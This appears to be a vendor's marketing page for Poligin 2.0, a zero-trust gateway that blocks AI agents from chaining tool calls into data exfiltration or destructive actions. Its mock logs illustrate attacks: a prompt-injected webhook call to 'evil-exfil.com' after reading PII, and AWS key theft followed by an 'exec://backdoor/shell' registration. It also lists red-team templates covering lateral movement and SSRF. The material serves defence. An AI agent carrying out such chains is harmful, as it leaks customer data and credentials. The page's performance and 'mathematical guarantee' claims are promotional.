POLIGIN 2.0 β€’ ENTERPRISE TECHNICAL ARCHITECTURE & DEEP-DIVE FEATURES

Zero-Trust Action Containment for Autonomous AI Agents.

From multi-turn toxic tool combination prevention and session blast-radius budgeting to live adversarial red-teaming and 1-click MCP traffic auto-discoveryβ€”explore how poligin delivers deterministic runtime protection without slowing down innovation.

⚑ Sub-2ms Evaluation: Zero user-perceptible latency
πŸ›‘οΈ Stateful Taint Engine: Cross-turn data flow isolation
πŸ’£ Cumulative Blast Radius: Prevents runaway loop destruction
🎯 Live Red-Teaming: Empirical threat playbook simulation
πŸ” Auto-Discovery: 1-click synthetic policy generation
πŸ“œ EU AI Act Ready: Cryptographic tamper-evident ledger
πŸ›‘οΈ LEVEL 3 RUNTIME DEFENSE

Multi-Turn Toxic Tool Combination & Session Blast-Radius Engine

Traditional API gateways evaluate actions as isolated, stateless requests. But autonomous AI agents do not attack in a single stepβ€”they execute multi-turn sequences where each individual call appears benign in isolation, but their combination results in disastrous data exfiltration or catastrophic system sabotage.

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Stateful Tool Taint Tracking: When an agent invokes a tool that reads sensitive records (e.g. read_file("pii_export.csv")), poligin tags the live session token with DATA_TAINT: PII_CONFIDENTIAL. If a subsequent turn attempts an outbound sink (e.g. webhook_post or send_slack_channel), the exfiltration is blocked in <2ms.
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Cumulative Blast-Radius Budgeting: Quantifies operational risk per tool (Read = 5 pts, Modify = 25 pts, Delete = 50 pts, Outbound Webhook = 40 pts). If an agent enters an infinite retry loop or executes runaway destructive deletions exceeding its session budget (e.g. 100 pts), poligin terminates the session before harm occurs.
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Runtime Taint Sanitization & Safe Resets: Enforces deterministic isolation boundaries where explicit human review or verifiable cryptographic redaction safely de-taints the agent context.
Request Toxic Combination Demo β†’
STATEFUL SESSION BLAST MONITOR β€’ LIVE INTERCEPTION
BLAST BUDGET: 100 PTS
// Turn 1: Agent reads customer database agent.call("read_file", { path: "customer/pii_export.csv" }) βž” [POLIGIN EVALUATE] ALLOWED (Blast: +10 pts | Cum: 10/100) βž” [TAINT PROPAGATION] Active Taints: ["DATA_TAINT: PII_CONFIDENTIAL"] // Turn 2: Agent summarizes file contents (In-context LLM step) agent.call("summarize_file", { output: "customer/summary.txt" }) βž” [POLIGIN EVALUATE] ALLOWED (Blast: +10 pts | Cum: 20/100) βž” [TAINT PROPAGATION] Active Taints: ["DATA_TAINT: PII_CONFIDENTIAL"] // Turn 3: Prompt injection attempts outbound exfiltration sink! agent.call("webhook_post", { url: "https://evil-exfil.com/sink" }) βž” [POLIGIN INTERCEPT] DENIED & SESSION QUARANTINED! REASON: Toxic Tool Combination Detected RULE: pii_webhook_exfiltration_containment ACTION: Blocked in 1.4ms β€’ Zero Data Leaked β€’ Alert Sent to SIEM
POLIGIN RED-TEAMING STUDIO β€’ THREAT HARNESS
6 BUILT-IN PLAYBOOKS
β–Ά SIMULATING SCENARIO: Secret Theft to RCE Cascade Actor: redteam-agent-1 | Roles: [operator, engineer] | Session: redteam-8x2f [Turn 1/2] Action: read_keys | URI: confidential/aws_keys.env βœ” PERMITTED (Data marked: CONFIDENTIAL_SECRETS) [Turn 2/2] Action: server:register | URI: exec://backdoor/shell βœ– DEFLECTED AT TURN 2 Verdict: DEFLECTED & CONTAINED (Policy: deny_rce_after_secret_theft) Latency: 1.6ms | Blast Budget Retained: 65/100 pts | Verdict logged to audit Exporting Scenario to JSON for CI/CD DevSecOps Regression Suite... βœ” Scenario JSON Ready: /audit/redteam-rce-cascade.json
🎯 EMPIRICAL SECURITY TESTING

Live Adversarial Red-Teaming Studio & Playbook Simulator

CISOs and enterprise security engineers cannot deploy autonomous agents into production based on prompt-engineering promises. Security requires repeatable, empirical verification. Poligin features a built-in interactive Red-Teaming Studio to simulate, stress-test, and benchmark agent attack chains before production deployment.

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Interactive Multi-Turn Sequencer: Build custom attack chains turn-by-turn with custom actor identities, roles, tool actions, and target resource URIs. Autocomplete for standard MCP tools and internal microservices.
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6 Pre-Loaded Enterprise Attack Templates:
1. PII Toxic Exfiltration via Webhook / External API
2. Secret Key Theft to RCE Backdoor Cascade
3. Slow-Bleed Destructive Blast Radius Budget Overflow
4. Financial Records & VIP Client Tampering
5. Cross-MCP Server Pivot & Lateral Movement
6. Prompt Injection SSRF via HTTP Tool
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Automated Verdict Engine: Real-time step-by-step evaluation providing instant DEFLECTED & BLOCKED vs BREACHED / UNPROTECTED findings with complete diagnostic reasons.
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CI/CD Playbook Export & Import: Save custom playbooks locally or export them to JSON to integrate into continuous security integration pipelines.
Explore Red-Teaming Scenarios β†’
πŸ” ZERO-TOUCH ADOPTION

Zero-Touch MCP Traffic Auto-Discovery & 1-Click Policy Synthesis

The biggest bottleneck to enterprise AI adoption is authoring security policies for hundreds of dynamic agent tools. Manually writing rules takes weeks and creates human error. Poligin solves this with passive runtime traffic inspection and autonomous policy synthesis.

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Zero-Code Traffic Interception: Passively observes all MCP tool calls, actor delegations, and payload patterns traversing the gateway in shadow mode with zero overhead or risk to production.
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Autonomous Behavioral Clustering: Automatically classifies tools into operational risk categories (Read-Only, State Mutation, Destructive Deletion, External Network Sink) and tags data sensitivity (PII, Financial, Secrets, Internal Ops).
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1-Click Synthetic Policy Generation: Converts observed least-privilege baselines into human-readable OPA Rego and Poligin DSL policies with a single click.
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Pre-Deployment Shadow Simulation: Replays historical traffic logs against newly synthesized rules to verify false-positive rates before one-click deployment.
See Auto-Discovery in Action β†’
TRAFFIC CLUSTERING & SYNTHESIS ENGINE
DISCOVERED: 42 TOOLS
// Discovered Tool Signature #1 tool: "read_customer_record" risk_class: READ_SENSITIVE | data_tag: PII_CONFIDENTIAL actors: [customer-support-agent, billing-copilot] // Discovered Tool Signature #2 tool: "send_slack_channel" risk_class: EXTERNAL_SINK | network: OUTBOUND actors: [triage-bot, devops-agent] βœ” [1-CLICK SYNTHESIS] Generating Deterministic Policy: -------------------------------------------------- package poligin.synthesized.v1 default allow = false # Auto-generated least-privilege containment rule deny { input.session.has_taint("PII_CONFIDENTIAL") input.action == "send_slack_channel" not input.user_roles[_] == "compliance_officer" }
BENCHMARK COMPARISON β€’ RUNTIME OVERHEAD
10,000 CONCURRENT RPS
// Benchmark: Runtime Decision Latency ❌ LLM-as-a-Judge (GPT-4o mini / Claude Haiku Guardrails) Latency: 850ms – 1,800ms (Perceptible lag) Cost: $0.02 – $0.05 per check ($20k+/mo at scale) Reliability: Probabilistic (Subject to prompt injection) βœ” POLIGIN NATIVE COMPILED ENGINE Latency: 1.2ms – 1.8ms (Imperceptible overhead) Cost: $0.00 per check (Zero token fees) Reliability: 100% Deterministic (Mathematical guarantee) Safety: Fail-Closed Boundary (Blocks on timeout)
⚑ DETERMINISTIC EXECUTION

Sub-2ms Deterministic Policy Engine (Zero Hallucination)

Using an LLM to evaluate whether another LLM should take an action is dangerously flawed: it introduces hundreds of milliseconds of latency, explodes cloud token costs, and is susceptible to the exact same prompt jailbreaks it attempts to detect. Poligin enforces compiled, deterministic mathematical logic in under 2 milliseconds.

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Compiled Native Go & WebAssembly Engine: Executes complex attribute-based (ABAC), role-based (RBAC), taint-based, and quota rules with sub-2 millisecond latency under high-throughput workloads (10,000+ RPS).
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Fail-Closed Architectural Guarantee: If an agent crashes, network partitions occur, or a policy evaluation times out, the gate defaults to safe denial. Unchecked actions can never execute in production.
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OPA Rego & Poligin DSL Compatibility: Write expressive policies using Open Policy Agent (OPA) industry-standard Rego syntax or streamlined Poligin DSL.
Review Performance Benchmarks β†’
πŸ”‘ ZERO-TRUST DELEGATION

Microsoft Entra ID Dual-Key Agent Identity & Step-Up Approvals

Who authorized this AI action? In most enterprise deployments, AI agents share static API tokens, destroying the audit trail. Poligin introduces Cryptographic Agent Passports with dual-key verification and automated human-in-the-loop step-up workflows.

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Dual-Key Cryptographic Passports: Binds autonomous agent actions to both the delegated agent credential AND the human operator's enterprise directory identity (Microsoft Entra ID, Okta, Ping Identity).
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Interactive Step-Up Human Approvals: When an agent attempts an action that exceeds autonomous clearance (e.g. issuing a refund > $5,000 or modifying customer IAM permissions), poligin halts execution and dispatches interactive decision cards into Slack, Microsoft Teams, or custom webhooks.
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Granular Role & Group Scoping: Enforces principle of least privilege per agent persona (e.g. Sales Agent, DevOps Copilot, Financial Analyst).
Learn About Entra ID Integration β†’
CRYPTOGRAPHIC AGENT PASSPORT & DUAL-AUTH
ENTRA ID OIDC VERIFIED
// Ephemeral Cryptographic Agent Passport { "agent_id": "agent-billing-autobot-4", "delegated_by": "alice.smith@acme.corp", "directory_tenant": "acme-azure-entra-prod", "roles": ["billing_operator", "tier2_support"], "entra_groups": ["entra-sec-ops", "finance-ai-users"], "delegation_exp": "2026-10-22T04:00:00Z", "sig": "3b8f9e...[HMAC-SHA256 Dual Signed]" } // Runtime Step-Up Interception Attempted Action: modify_client_discount(rate: 45%) βž” Threshold Exceeded: Maximum Autonomous Limit is 20% βž” Dispatched Step-Up Card to Slack #finance-approvals βž” Awaiting Alice Smith / Manager Dual Key Authorization
HMAC IMMUTABLE FLIGHT RECORDER
EU AI ACT ART. 14 COMPLIANT
// Immutable Forensic Audit Record { "event_id": "evt_98f62b37_0042", "timestamp": "2026-10-22T01:05:11.482Z", "session_id": "ses_enterprise_flow_77a", "actor": "copilot-data-analyst", "delegated_user": "bob.ciso@acme.corp", "action": "database:drop_partition", "resource": "postgres://warehouse/q3_ledger", "decision": "DENIED_BLAST_BUDGET_OVERFLOW", "blast_points_requested": 50, "blast_budget_remaining": 15, "active_taints": ["FINANCIAL_LEDGER_RESTRICTED"], "rule_matched": "deny_destructive_mutation", "latency_us": 1340, "ledger_hash": "e4c19a0f7b9...[HMAC-SHA256]" }
πŸ“œ REGULATORY COMPLIANCE

Tamper-Evident Distributed Audit Ledger & Forensic Replay

When an autonomous system operates in production, compliance and legal teams require complete, unalterable proof of what happened. Poligin maintains an HMAC-SHA256 cryptographically chained flight recorder for every tool request, policy evaluation, taint state, and final decision.

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Cryptographically Chained Integrity: Every audit record is hashed and chained, making retrospective log tampering mathematically impossible.
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Full Forensic Session Replay: Step backwards and forwards through multi-turn agent sessions to inspect exactly when taints attached, what blast points accumulated, and why policies intervened.
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Compliance Framework Mapping: Built-in reports satisfy SOC 2 Type II, ISO 27001, HIPAA, and EU AI Act Article 14 (Mandatory Human Oversight for High-Risk AI Systems).
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Native Enterprise SIEM Forwarders: Streams structured JSON events in real-time to Splunk, Datadog, Microsoft Sentinel, and Amazon OpenSearch.
Request Compliance Whitepaper β†’
πŸ“ SYSTEM ARCHITECTURE

Enterprise Runtime Containment Architecture

Poligin operates as an inline, zero-trust security sidecar or gateway proxy sitting directly between autonomous AI runtimes and your internal systems.

01 β€’ AGENT RUNTIME
Autonomous Agents
Cursor, Claude Desktop, Copilot, LangChain, CrewAI, Semantic Kernel, Custom LLM Orchestrators.
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02 β€’ POLIGIN RUNTIME GATEWAY
Zero-Trust Action Firewall
Port 8080 (MCP Gateway) • Intercepts JSON-RPC tool calls.
Engine (8181)
Sub-2ms ABAC / Rego
Analyzer (8282)
Blast & Taint Engine
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03 β€’ PROTECTED SYSTEMS
Enterprise MCP Servers
Production Databases, GitHub, Slack, Jira, AWS CLI, Stripe, Internal Microservices.
DEPLOYMENT: DOCKER • KUBERNETES SIDECAR • CLOUD HOSTED LATENCY: < 2MS • FAIL-CLOSED BOUNDARY
βš–οΈ ARCHITECTURAL COMPARISON

How Poligin Compares to Legacy Approaches

Why traditional API gateways, LLM guardrails, and framework-level permissions fail to protect enterprise environments against autonomous agent risk.

Capability / Dimension poligin 2.0 (Action Firewall) Traditional API Gateways
(Kong, Apigee, AWS API GW)
LLM Prompt Guardrails
(LlamaGuard, Lakera, NeMo)
Multi-Turn Toxic Combination Interception βœ” Stateful Taint Engine ✘ Stateless (No turn memory) ✘ Blind to tool execution state
Cumulative Blast-Radius Budgeting βœ” Dynamic session kill-switch β–² Coarse rate-limits only ✘ None
Decision Evaluation Latency βœ” < 2ms (Compiled Go / Wasm) βœ” 2ms – 5ms ✘ 800ms – 2,000ms (LLM lag)
Live Adversarial Red-Teaming Studio βœ” 6 built-in multi-turn templates ✘ None β–² Static prompt fuzzing only
Zero-Touch MCP Traffic Auto-Discovery βœ” 1-Click policy synthesis ✘ Manual OpenAPI specs only ✘ None
Deterministic vs Probabilistic Safety βœ” 100% Deterministic logic βœ” Deterministic (Static ACLs) ✘ Probabilistic (Hallucinations)
Model & Agent Framework Independence βœ” 100% Agnostic (MCP Standard) β–² HTTP Only (No MCP semantics) ✘ Tied to specific LLM models
Dual-Key Entra ID Cryptographic Passports βœ” Agent + Human dual identity ✘ Static bearer tokens ✘ None
ENTERPRISE ARCHITECTURE EVALUATION

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